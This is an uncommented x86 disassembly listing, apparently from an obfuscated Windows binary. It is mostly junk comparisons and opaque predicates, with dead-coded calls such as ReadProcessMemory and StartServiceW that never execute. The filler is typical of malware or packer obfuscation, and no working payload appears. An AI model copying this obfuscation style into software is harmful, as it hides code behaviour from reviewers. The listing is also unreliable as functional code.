mov dword [ebp - 0xe94], 1
jmp 0x44b199
and dword [ebp - 0xe94], 0
cmp dword [ebp - 0xe94], 0xd978029
jge 0x44b1b1
mov dword [ebp - 0x1d9c], 1
jmp 0x44b1b8
and dword [ebp - 0x1d9c], 0
mov eax, dword [ebp - 0x1d9c]
mov dword [ebp - 0x4a4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa5c]
sub ecx, dword [ebp - 0x2dc]
cmp dword [ebp + eax - 0x2130], ecx
je 0x44b1ea
mov dword [ebp - 0xeac], 1
jmp 0x44b1f1
and dword [ebp - 0xeac], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2130], 0x1c91930e
je 0x44b20f
mov dword [ebp - 0xe9c], 1
jmp 0x44b216
and dword [ebp - 0xe9c], 0
mov eax, dword [ebp - 0xe9c]
mov dword [ebp - 0x504], eax
mov eax, dword [ebp - 0x504]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x2130]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x2968]
cmp dword [ebp - 0x4a4], eax
jge 0x44b256
mov dword [ebp - 0x1da4], 1
jmp 0x44b25d
and dword [ebp - 0x1da4], 0
mov eax, dword [ebp - 0x1da4]
neg eax
cmp dword [ebp - 0x2dc], eax
je 0x44b279
mov dword [ebp - 0xea4], 1
jmp 0x44b280
and dword [ebp - 0xea4], 0
mov eax, dword [ebp - 0xa5c]
cmp dword [ebp - 0xea4], eax
jle 0x44b29a
mov dword [ebp - 0x1dac], 1
jmp 0x44b2a1
and dword [ebp - 0x1dac], 0
imul eax, dword [ebp - 0x1dac], 0xfffa
imul eax, dword [ebp - 0xeac]
test eax, eax
jne 0x44b2c7
xor eax, eax
inc eax
je 0x44b2c7
mov dword [ebp - 0x2970], 1
jmp 0x44b2ce
and dword [ebp - 0x2970], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x213c]
cmp dword [ebp + eax - 0x2130], ecx
jle 0x44b2fe
cmp dword [ebp - 0x2dc], 0
je 0x44b2fe
mov dword [ebp - 0x1db4], 1
jmp 0x44b305
and dword [ebp - 0x1db4], 0
mov eax, dword [ebp - 0x94c]
cmp dword [ebp - 0x1db4], eax
je 0x44b31f
mov dword [ebp - 0xeb4], 1
jmp 0x44b326
and dword [ebp - 0xeb4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xeb4]
mov dword [ebp + eax - 0x2130], ecx
mov dword [ebp - 0x96c], 0x796a0b59
mov dword [ebp - 0x828], 0x4a6847df
mov byte [ebp - 0x292], 0
movzx eax, byte [ebp - 0x292]
test eax, eax
je 0x44b37c
push 0x20bc
push 0x66f
push 0
push 0
push 0x163b
push 0xc0f
call dword [sym.imp.USER32.dll_ToUnicode]
mov dword [ebp - 0x828], 0xffffffe6
jmp 0x44b395
mov eax, dword [ebp - 0x828]
inc eax
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 8
jne 0x44b3c1
mov byte [ebp - 0x29d], 0
movzx eax, byte [ebp - 0x29d]
test eax, eax
je 0x44b3bf
push 0
push 0x1729
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
jmp 0x44b388
mov dword [ebp - 0xfc4], 0xfffa
mov dword [ebp - 0x55c], 0xfffffffa
mov dword [ebp - 0x5e8], 0
jmp 0x44b3ee
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 2
jge 0x44b40a
mov eax, dword [ebp - 0x5e8]
mov dword [ebp + eax*4 - 0x21bc], 0xe0a8eac8
jmp 0x44b3e1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x21bc], 0xe
jmp 0x44b438
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x21bc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x21bc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21bc], 0x19
jle 0x44b454
mov dword [ebp - 0x55c], 0xffffffff
jmp 0x44b41d
mov dword [ebp - 0x55c], 0
jmp 0x44b46d
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 1
jg 0x44b492
mov byte [ebp - 0x29f], 0
movzx eax, byte [ebp - 0x29f]
test eax, eax
je 0x44b490
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x44b460
mov dword [ebp - 0xa6c], 0x1a812c00
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x2318], 0xdbf4
mov dword [ebp - 0x2314], 0xdbf4
mov dword [ebp - 0x2310], 0xdbf4
mov dword [ebp - 0x230c], 0xdbf4
mov dword [ebp - 0x468], 0x2f093d7f
mov dword [ebp - 0x22d8], 0
mov dword [ebp - 0x22d4], 0
mov dword [ebp - 0x22d0], 0
mov dword [ebp - 0x22cc], 0
mov dword [ebp - 0xa64], 0x37ddc4ea
mov dword [ebp - 0xf24], 0x3ada
mov dword [ebp - 0x2988], 1
mov dword [ebp - 0x830], 0
jmp 0x44b53e
mov eax, dword [ebp - 0x830]
inc eax
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x830], 4
jge 0x44b55a
mov eax, dword [ebp - 0x830]
mov dword [ebp + eax*4 - 0x2a94], 9
jmp 0x44b531
mov eax, 0x5a97963b
test eax, eax
je 0x44b609
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jge 0x44b581
cmp dword [ebp - 0xc], 0
je 0x44b581
mov dword [ebp - 0x1dbc], 1
jmp 0x44b588
and dword [ebp - 0x1dbc], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x1dbc], eax
jge 0x44b59f
mov dword [ebp - 0xebc], 1
jmp 0x44b5a6
and dword [ebp - 0xebc], 0
mov eax, dword [ebp - 0xebc]
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0xc], 0xffffffff
jb 0x44b5c4
mov dword [ebp - 0x1dc4], 1
jmp 0x44b5cb
and dword [ebp - 0x1dc4], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x1dc4], eax
je 0x44b5e5
cmp dword [ebp - 0xc], 0
jne 0x44b5e5
and dword [ebp - 0xec4], 0
jmp 0x44b5ef
mov dword [ebp - 0xec4], 1
cmp dword [ebp - 0xec4], 1
jne 0x44b609
or eax, 0xffffffff
je 0x44b609
mov dword [ebp - 0x1dcc], 1
jmp 0x44b610
and dword [ebp - 0x1dcc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2318]
cmp dword [ebp - 0x1dcc], eax
jge 0x44b630
mov dword [ebp - 0xecc], 1
jmp 0x44b637
and dword [ebp - 0xecc], 0
cmp dword [ebp - 0xecc], 0x60813c27
jge 0x44b64f
mov dword [ebp - 0x1dd4], 1
jmp 0x44b656
and dword [ebp - 0x1dd4], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x1dd4], eax
jge 0x44b66d
mov dword [ebp - 0xed4], 1
jmp 0x44b674
and dword [ebp - 0xed4], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xed4], eax
jge 0x44b68b
mov dword [ebp - 0x2978], 1
jmp 0x44b692
and dword [ebp - 0x2978], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x30dc], eax
cmp dword [ebp - 0xc], 0xffff
je 0x44b6b0
mov dword [ebp - 0x1ddc], 1
jmp 0x44b6b7
and dword [ebp - 0x1ddc], 0
imul eax, dword [ebp - 0x1ddc], 3
cmp eax, dword [ebp - 0xc]
jle 0x44b6dc
mov dword [ebp - 0x2980], 0xffffffff
mov dword [ebp - 0x2980], 0x867a7bf7
jmp 0x44b769
mov dword [ebp - 0xedc], 0x9ebe
mov dword [ebp - 0xc], 0xc
jmp 0x44b6f6
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xfffffff4
jg 0x44b73e
mov dword [ebp - 0x410], 0
jmp 0x44b715
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 4
jge 0x44b731
mov eax, dword [ebp - 0x410]
mov dword [ebp + eax*4 - 0x2318], 0x8169
jmp 0x44b708
cmp dword [ebp - 0xedc], 0
je 0x44b73c
jmp 0x44b6ef
jmp 0x44b6ef
mov eax, dword [ebp - 0xedc]
mov dword [ebp - 0x1de4], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1de4]
mov dword [ebp + eax - 0x2a94], ecx
mov eax, dword [ebp - 0x1de4]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0xc], 0xffffffe9
jmp 0x44b779
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffee
jle 0x44bbf0
mov dword [ebp - 0xee4], 0xba8a7e8b
mov dword [ebp - 0x954], 1
mov dword [ebp - 0xefc], 0xfef2
mov dword [ebp - 0x838], 0xffffffff
mov dword [ebp - 0x5f0], 0
jmp 0x44b7c4
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 4
jge 0x44b7e0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp + eax*4 - 0x2204], 0x1939efd9
jmp 0x44b7b7
or eax, 0xffffffff
je 0x44b994
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x30e4], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2318]
mov dword [ebp - 0x30ec], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22d8]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2a94]
push 4
pop edx
shl edx, 0
sub ecx, dword [ebp + edx - 0x22d8]
sub eax, ecx
imul eax, eax, 0xfffffffb
mov dword [ebp - 0xee4], eax
mov eax, dword [ebp - 0xee4]
cmp dword [ebp - 0x468], eax
jle 0x44b850
mov dword [ebp - 0x1dec], 1
jmp 0x44b857
and dword [ebp - 0x1dec], 0
mov eax, dword [ebp - 0x1dec]
mov dword [ebp - 0x954], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2204]
cmp dword [ebp - 0x954], eax
je 0x44b884
mov dword [ebp - 0xeec], 1
jmp 0x44b88b
and dword [ebp - 0xeec], 0
mov eax, dword [ebp - 0xeec]
mov dword [ebp - 0xa64], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2204]
cmp dword [ebp - 0xa64], eax
jle 0x44b8b8
mov dword [ebp - 0x1df4], 1
jmp 0x44b8bf
and dword [ebp - 0x1df4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1df4]
sub ecx, dword [ebp + eax - 0x2204]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x2204]
je 0x44b8ed
mov dword [ebp - 0xef4], 1
jmp 0x44b8f4
and dword [ebp - 0xef4], 0
mov eax, dword [ebp - 0xef4]
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0xfffa
jbe 0x44b928
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2204], 0
je 0x44b928
mov dword [ebp - 0xaf4], 1
jmp 0x44b92f
and dword [ebp - 0xaf4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaf4]
mov dword [ebp + eax - 0x2a94], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2204]
cmp dword [ebp - 0xaf4], eax
jl 0x44b96c
mov eax, 0x29ef
test eax, eax
je 0x44b96c
mov dword [ebp - 0x1dfc], 1
jmp 0x44b973
and dword [ebp - 0x1dfc], 0
mov eax, dword [ebp - 0x1dfc]
mov dword [ebp - 0xefc], eax
cmp dword [ebp - 0xefc], 0
je 0x44b994
mov dword [ebp - 0x1e04], 1
jmp 0x44b99b
and dword [ebp - 0x1e04], 0
cmp dword [ebp - 0x1e04], 0xffffffff
jg 0x44b9b0
mov dword [ebp - 0xf04], 1
jmp 0x44b9b7
and dword [ebp - 0xf04], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xf04]
mov dword [ebp + eax - 0x2204], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a94], 0
je 0x44bb73
mov dword [ebp - 0x468], 0xffffffff
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x30f4], eax
mov eax, dword [ebp - 0x954]
cmp dword [ebp - 0x2988], eax
jle 0x44ba0e
mov dword [ebp - 0x1e0c], 1
jmp 0x44ba15
and dword [ebp - 0x1e0c], 0
mov eax, dword [ebp - 0x838]
cmp dword [ebp - 0x1e0c], eax
je 0x44ba2f
mov dword [ebp - 0xf0c], 1
jmp 0x44ba36
and dword [ebp - 0xf0c], 0
mov eax, dword [ebp - 0xa64]
cmp dword [ebp - 0xf0c], eax
jl 0x44ba50
mov dword [ebp - 0x1e14], 1
jmp 0x44ba57
and dword [ebp - 0x1e14], 0
cmp dword [ebp - 0x1e14], 0
jb 0x44ba6c
mov dword [ebp - 0xf14], 1
jmp 0x44ba73
and dword [ebp - 0xf14], 0
mov eax, dword [ebp - 0x838]
add eax, dword [ebp - 0xf14]
jne 0x44ba8f
or eax, 0xffffffff
jne 0x44ba8f
and dword [ebp - 0x1e1c], 0
jmp 0x44ba99
mov dword [ebp - 0x1e1c], 1
mov eax, dword [ebp - 0x838]
cmp dword [ebp - 0x1e1c], eax
jle 0x44bab3
mov dword [ebp - 0x95c], 1
jmp 0x44baba
and dword [ebp - 0x95c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x95c]
mov dword [ebp + eax - 0x2204], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22d8]
cmp dword [ebp - 0x95c], eax
jle 0x44baee
mov dword [ebp - 0xf1c], 1
jmp 0x44baf5
and dword [ebp - 0xf1c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2318]
cmp dword [ebp - 0xf1c], eax
jne 0x44bb15
mov dword [ebp - 0x2990], 1
jmp 0x44bb1c
and dword [ebp - 0x2990], 0
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x30fc], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x22d8]
cmp dword [ebp + eax - 0x2204], ecx
je 0x44bb50
mov dword [ebp - 0x2998], 1
jmp 0x44bb57
and dword [ebp - 0x2998], 0
mov eax, dword [ebp - 0xf24]
mov dword [ebp - 0x3104], eax
xor eax, eax
jne 0x44bb73
mov dword [ebp - 0x1e24], 1
jmp 0x44bb7a
and dword [ebp - 0x1e24], 0
mov eax, dword [ebp - 0x1e24]
sub eax, 0x87
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x22d8]
jne 0x44bba0
mov dword [ebp - 0x29a0], 1
jmp 0x44bba7
and dword [ebp - 0x29a0], 0
mov eax, dword [ebp - 0xf24]
mov dword [ebp - 0x310c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2318], 0xdae5
jge 0x44bbd1
mov dword [ebp - 0x1e2c], 1
jmp 0x44bbd8
and dword [ebp - 0x1e2c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1e2c]
mov dword [ebp + eax - 0x2a94], ecx
jmp 0x44b772
mov dword [ebp - 0x228], 0xffffffff
mov dword [ebp - 0x3114], 0x664087a9
mov dword [ebp - 0x228], 0x13
jmp 0x44bc1d
mov eax, dword [ebp - 0x228]
dec eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0xd
jg 0x44bda4
mov dword [ebp - 0x29a8], 0xacff
mov dword [ebp - 0xf2c], 0
mov dword [ebp - 0x1e34], 0xfffffff7
mov dword [ebp - 0x130], 0
jmp 0x44bc61
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x44bc7d
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x250], 0xfffffffe
jmp 0x44bc54
mov dword [ebp - 0x130], 0
jmp 0x44bc96
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 3
jge 0x44bcb2
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x34e0], 0xb421dd2e
jmp 0x44bc89
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
mov dword [ebp - 0x311c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
mov dword [ebp - 0x3124], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
mov dword [ebp - 0x312c], eax
mov eax, dword [ebp - 0x29a8]
mov dword [ebp - 0x3134], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
mov dword [ebp - 0x313c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
mov dword [ebp - 0x3144], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0xf2c], eax
mov eax, dword [ebp - 0xf2c]
mov dword [ebp - 0x1e34], eax
mov eax, dword [ebp - 0x1e34]
mov dword [ebp - 0x314c], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x3154], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x315c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
mov dword [ebp - 0x3164], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
mov dword [ebp - 0x316c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x250]
sub eax, dword [ebp - 0x228]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x34e0], eax
jmp 0x44bc10
mov dword [ebp - 0x5f8], 0
jmp 0x44bdbd
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 1
jge 0x44bdd9
mov eax, dword [ebp - 0x5f8]
mov dword [ebp + eax*4 - 0x4b4], 0x24039b64
jmp 0x44bdb0
mov dword [ebp - 0x268], 0xfffe
mov dword [ebp - 0x2e4], 0xffffffff
mov dword [ebp - 0x418], 7
mov eax, 0xffff
test eax, eax
je 0x44bf09
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x3174], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x317c], eax
mov eax, 0xfbd1
imul eax, eax, 0xffff
test eax, eax
je 0x44be40
cmp dword [ebp - 0x418], 0
je 0x44be40
mov dword [ebp - 0xf34], 1
jmp 0x44be47
and dword [ebp - 0xf34], 0
mov eax, dword [ebp - 0xf34]
neg eax
cmp eax, dword [ebp - 0x268]
jle 0x44be63
mov dword [ebp - 0x1e3c], 1
jmp 0x44be6a
and dword [ebp - 0x1e3c], 0
mov eax, dword [ebp - 0x2e4]
cmp eax, dword [ebp - 0x1e3c]
jle 0x44be84
mov dword [ebp - 0x29b0], 1
jmp 0x44be8b
and dword [ebp - 0x29b0], 0
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x3184], eax
cmp dword [ebp - 0x418], 0
je 0x44beac
mov dword [ebp - 0xf3c], 1
jmp 0x44beb3
and dword [ebp - 0xf3c], 0
mov eax, dword [ebp - 0xf3c]
add eax, 0x11c3
jne 0x44bed2
cmp dword [ebp - 0x2e4], 0
jne 0x44bed2
and dword [ebp - 0x29b8], 0
jmp 0x44bedc
mov dword [ebp - 0x29b8], 1
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x318c], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x3194], eax
cmp dword [ebp - 0x2e4], 0
je 0x44bf09
mov dword [ebp - 0x29c0], 1
jmp 0x44bf10
and dword [ebp - 0x29c0], 0
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x320c], eax
mov eax, dword [ebp - 0x418]
cmp dword [ebp - 0x268], eax
jle 0x44bf36
mov dword [ebp - 0x1e44], 1
jmp 0x44bf3d
and dword [ebp - 0x1e44], 0
mov eax, dword [ebp - 0x418]
cmp dword [ebp - 0x1e44], eax
jle 0x44bf57
mov dword [ebp - 0x29c8], 1
jmp 0x44bf5e
and dword [ebp - 0x29c8], 0
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x3214], eax
cmp dword [ebp - 0x2e4], 0x22a1
jne 0x44bfb2
mov dword [ebp - 0x29d0], 1
mov dword [ebp - 0x29d8], 0xffffffff
mov eax, dword [ebp - 0x29d0]
mov dword [ebp - 0x29d8], eax
mov byte [ebp - 0x2a1], 0
movzx eax, byte [ebp - 0x2a1]
test eax, eax
je 0x44bfb0
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x44bff0
mov dword [ebp - 0x268], 0
jmp 0x44bfcb
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x11
je 0x44bff0
mov byte [ebp - 0x2a3], 0
movzx eax, byte [ebp - 0x2a3]
test eax, eax
je 0x44bfee
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
jmp 0x44bfbe
mov dword [ebp - 0x50c], 0
jmp 0x44c009
cmp dword [ebp - 0x50c], 0
jg 0x44cb3f
mov dword [ebp - 0x600], 0x4f833fcb
mov dword [ebp - 0x840], 0
jmp 0x44c039
mov eax, dword [ebp - 0x840]
inc eax
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 1
jge 0x44c055
mov eax, dword [ebp - 0x840]
mov dword [ebp + eax*4 - 0x321c], 8
jmp 0x44c02c
mov byte [ebp - 0x2a5], 0
movzx eax, byte [ebp - 0x2a5]
test eax, eax
je 0x44c07a
push 0
push 0x1ad3
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x600], 0
jmp 0x44c093
cmp dword [ebp - 0x600], 0
jl 0x44c0b8
mov dword [ebp - 0xc4], 0xee76f502
mov dword [ebp - 0x618], 0
jmp 0x44cb62
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 4
jge 0x44cb7e
mov eax, dword [ebp - 0x618]
mov dword [ebp + eax*4 - 0x221c], 0xfffffff6
jmp 0x44cb55
mov dword [ebp - 0xc4], 0
jmp 0x44cb97
cmp dword [ebp - 0xc4], 3
jg 0x44cd65
mov dword [ebp - 0x6c], 0x52c58fb7
mov dword [ebp - 0x26e0], 0
mov dword [ebp - 0x860], 0
jmp 0x44cbce
mov dword [ebp - 0xa6c], 8
mov eax, dword [ebp - 0xa6c]
mov dword [ebp - 0x96c], eax
mov dword [ebp - 0xfdc], 0xfffffffe
mov dword [ebp - 0x2360], 0xdde9
mov dword [ebp - 0x2368], 0xe0cd9796
mov dword [ebp - 0x1efc], 7
mov dword [ebp - 0x26e8], 0x69b42c51
mov dword [ebp - 0x1ac], 0
jmp 0x44cdc6
cmp dword [ebp + 8], 1
jne 0x45b208
mov dword [ebp - 0x25d8], 3
mov dword [ebp - 0x84c], 0
jmp 0x456ca8
mov eax, dword [ebp - 0x84c]
inc eax
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x84c], 1
jge 0x456cc4
mov eax, dword [ebp - 0x84c]
mov dword [ebp + eax*4 - 0x29e4], 0xffffffff
jmp 0x456c9b
cmp dword [ebp - 0x25d8], 0x9b2c
jne 0x456cdc
mov dword [ebp - 0x1820], 1
jmp 0x456ce3
and dword [ebp - 0x1820], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1820]
mov dword [ebp + eax - 0x29e4], ecx
mov byte [ebp - 0x3e4], 0
movzx eax, byte [ebp - 0x3e4]
test eax, eax
je 0x456d23
push 0x20bf
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov dword [ebp - 0x36c], 0xffffffff
mov dword [ebp - 0x33a0], 0xfffffff6
mov dword [ebp - 0x36c], 0
jmp 0x456d50
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x1a
je 0x4571db
mov dword [ebp - 0x930], 3
mov dword [ebp - 0xb8], 5
mov dword [ebp - 0xd4], 1
mov dword [ebp - 0x7ac], 0x86255d58
mov dword [ebp - 0x25f0], 0xfffffffd
mov dword [ebp - 0x1858], 0x9b037144
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb8], 0
jmp 0x456dbe
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xfffffffa
jl 0x4571d6
mov dword [ebp - 0x374], 0xd2c8
mov dword [ebp - 0x1f00], 0xbda1
mov dword [ebp - 0x2030], 0xfffffff8
cmp dword [ebp - 0x36c], 0
je 0x456df7
jmp 0x4571d6
cmp dword [ebp - 0x374], 1
ja 0x456e0c
mov dword [ebp - 0x2100], 1
jmp 0x456e13
and dword [ebp - 0x2100], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x2e20], eax
mov eax, dword [ebp - 0x374]
imul eax, dword [ebp - 0xb8]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jne 0x456e42
cmp dword [ebp - 0x374], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x3158], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x2e28], eax
mov eax, dword [ebp - 0x1f00]
sub eax, 0x61e7
sub eax, dword [ebp - 0x930]
je 0x456e82
cmp dword [ebp - 0x374], 0
je 0x456e82
mov dword [ebp - 0x1828], 1
jmp 0x456e89
and dword [ebp - 0x1828], 0
mov eax, dword [ebp - 0xb8]
imul eax, dword [ebp - 0x2100]
cmp eax, dword [ebp - 0x1828]
je 0x456eaa
mov dword [ebp - 0x1cc0], 1
jmp 0x456eb1
and dword [ebp - 0x1cc0], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x1cc0], eax
jne 0x456ecb
mov dword [ebp - 0x1830], 1
jmp 0x456ed2
and dword [ebp - 0x1830], 0
mov eax, dword [ebp - 0x7ac]
cmp dword [ebp - 0x1830], eax
jg 0x456eec
mov dword [ebp - 0x1ef8], 1
jmp 0x456ef3
and dword [ebp - 0x1ef8], 0
mov eax, dword [ebp - 0x374]
imul eax, dword [ebp - 0x1ef8]
cmp eax, 0x9d9e62b5
je 0x456f13
mov dword [ebp - 0x1838], 1
jmp 0x456f1a
and dword [ebp - 0x1838], 0
mov eax, dword [ebp - 0x374]
imul eax, dword [ebp - 0x1838]
test eax, eax
je 0x457016
mov dword [ebp - 0x283c], 0xb45b
mov dword [ebp - 0x7a4], 0
jmp 0x456f52
mov eax, dword [ebp - 0x7a4]
inc eax
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 1
jge 0x456f6e
mov eax, dword [ebp - 0x7a4]
mov dword [ebp + eax*4 - 0x25e0], 1
jmp 0x456f45
cmp dword [ebp - 0xb8], 0
jne 0x456f83
mov dword [ebp - 0x928], 1
jmp 0x456f8a
and dword [ebp - 0x928], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x928]
mov dword [ebp + eax - 0x25e0], ecx
mov eax, dword [ebp - 0x36c]
cmp dword [ebp - 0x928], eax
jg 0x456fb7
mov dword [ebp - 0x1cc8], 1
jmp 0x456fbe
and dword [ebp - 0x1cc8], 0
mov eax, dword [ebp - 0x1cc8]
dec eax
jne 0x456fce
cmp dword [ebp - 0x930], 0
mov eax, dword [ebp - 0xd4]
push 0xfffffffffffffffe
pop ecx
add ecx, 0xfffffffa
sub eax, ecx
cmp dword [ebp - 0x283c], eax
je 0x456ff0
mov dword [ebp - 0x1840], 1
jmp 0x456ff7
and dword [ebp - 0x1840], 0
mov eax, dword [ebp - 0x1840]
mov dword [ebp - 0x2030], eax
cmp dword [ebp - 0x2030], 0
je 0x457011
jmp 0x4571d6
jmp 0x4571d1
mov dword [ebp - 0x2844], 6
mov dword [ebp - 0x8a4], 0
jmp 0x457039
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 1
jge 0x457055
mov eax, dword [ebp - 0x8a4]
mov dword [ebp + eax*4 - 0x2934], 0xda7da9fc
jmp 0x45702c
mov dword [ebp - 0xd4], 0xfffffff2
jmp 0x45706e
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 1
je 0x45708e
mov dword [ebp - 0x25e8], 1
cmp dword [ebp - 0x25e8], 0
je 0x45708c
jmp 0x45708e
jmp 0x457061
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2934]
add eax, 0x47d51381
je 0x4570c3
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
je 0x4570c3
mov dword [ebp - 0x1848], 1
jmp 0x4570ca
and dword [ebp - 0x1848], 0
cmp dword [ebp - 0x1848], 0x4171
jl 0x4570e2
mov dword [ebp - 0x1cd0], 1
jmp 0x4570e9
